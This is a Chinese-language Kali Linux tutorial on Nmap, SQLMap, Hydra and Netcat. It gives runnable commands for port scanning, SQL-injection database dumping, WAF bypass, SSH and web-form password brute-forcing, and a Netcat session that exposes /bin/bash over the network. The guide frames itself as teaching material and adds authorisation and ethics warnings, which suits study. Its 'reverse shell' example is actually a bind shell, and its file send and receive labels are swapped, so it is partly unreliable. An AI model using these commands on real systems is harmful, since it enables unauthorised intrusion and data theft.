Kali Linux 入门指南及常用安全工具详解

3.1 Nmap（网络映射器）

Nmap 被称为'诸神之眼'，是网络探测和端口扫描的首选工具。它可以发现主机、开放端口、服务版本及操作系统类型。

3.1.1 基础扫描

# 扫描单个 IP
nmap 192.168.1.10

# 扫描网段
nmap 192.168.1.0/24

3.1.2 高级参数

• -sS：TCP SYN 扫描（半开扫描，速度快且隐蔽）。
• -sV：检测服务版本信息。
• -O：尝试识别远程操作系统。
• -A：启用 OS 检测、版本检测、脚本扫描和 Traceroute。
• -T4：设置扫描模板（0-5），提高速度。

示例：综合扫描

nmap -sS -sV -O -T4 192.168.1.10

3.1.3 输出结果

• -oN output.txt：保存标准输出到文本文件。
• -oX output.xml：保存 XML 格式结果。

3.2 SQLMap（SQL 注入自动化）

SQLMap 是针对 SQL 注入漏洞的自动化工具。它能检测并利用数据库漏洞，但必须在授权环境下使用。

3.2.1 基本用法

sqlmap -u "http://target.com/page.php?id=1"

3.2.2 常见流程

1. 确定注入点：找到存在 SQL 注入的参数（如 GET 请求中的 id）。
2. 枚举数据库：获取所有数据库名称。

   sqlmap -u "http://target.com/page.php?id=1" --dbs
   

3. 枚举表名：指定数据库后获取表结构。

   sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
   

4. 枚举字段：获取特定表的列名。

   sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns
   

5. 导出数据：提取数据内容。

   sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name -C column_name --dump
   

3.2.3 注意事项

• 合法合规：严禁对未授权资产进行扫描，否则可能触犯法律。
• 绕过 WAF：可使用 --tamper 参数添加混淆脚本绕过防火墙。
• 批量扫描：结合 --batch 参数可非交互运行，但需谨慎。

3.3 Hydra（密码爆破）

Hydra 是一款高效的在线密码暴力破解工具，支持多种协议（SSH, FTP, HTTP 等）。

3.3.1 命令行用法

# SSH 爆破
hydra -l admin -P password.txt ssh://192.168.1.10

# HTTP 表单爆破
hydra -l admin -P password.txt http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"

3.3.2 参数说明

• -l：指定用户名。
• -L：从文件读取用户名列表。
• -p：指定密码。
• -P：从文件读取密码字典。
• -t：设置并发线程数。

3.3.3 图形化界面

Kali 内置了 Hydra 的图形化前端（如 THC-Hydra GUI），适合不熟悉命令行的用户。通过菜单选择协议、输入目标 IP、加载字典即可开始任务。

3.4 Netcat（网络瑞士军刀）

Netcat（nc）基于 TCP/UDP 协议，可用于建立任意类型的网络连接，常用于传输文件或获取 Shell。

3.4.1 监听与连接

• 主机 A（监听）：

  nc -lvp 6666
  

  参数解释：-l 监听模式，-v 详细输出，-p 端口号。
• 主机 B（连接）：

  nc 192.168.1.10 6666
  

3.4.2 反向 Shell（Reverse Shell）

攻击者通常使用反向 Shell 绕过防火墙限制。

• 受害者（开启监听）：

  nc -lvp 6666 -e /bin/bash
  

  注意：-e 选项将 shell 重定向到网络会话。
• 攻击者（连接）：

  nc 192.168.1.10 6666
  

3.4.3 文件传输

• 发送文件：

  nc -lvp 6666 > received_file.txt
  

• 接收文件：

  nc 192.168.1.10 6666 < file_to_send.txt
  

四、安全与法律伦理

在使用上述工具时，必须严格遵守法律法规。

1. 授权原则：仅对拥有明确书面授权的系统进行测试。
2. 最小影响：避免在生产环境中造成服务中断或数据丢失。
3. 责任报告：发现漏洞应及时向所有者报告，而非公开利用。
4. 法律责任：未经授权入侵他人系统可能构成犯罪，面临刑事责任。

五、常见问题排查

5.1 工具无法运行

• 检查是否安装了依赖库：apt install package_name。
• 确认权限：部分工具需要 root 权限，使用 sudo 执行。

5.2 网络不通

• 检查虚拟机网络适配器设置是否为桥接或 NAT。
• 验证宿主机防火墙是否拦截了 ICMP 或特定端口。

5.3 内存不足

• Kali 默认占用较多资源，若运行大型扫描任务，建议增加虚拟机内存至 4GB 以上。

六、总结

Kali Linux 是网络安全从业者的必备工具集。掌握 Nmap、SQLMap、Hydra 和 Netcat 等核心工具的使用，能够帮助理解网络攻防的基本原理。然而，技术本身是中性的，关键在于使用者的目的。请务必将所学知识用于防御、加固系统及提升安全意识，共同维护网络空间的安全与秩序。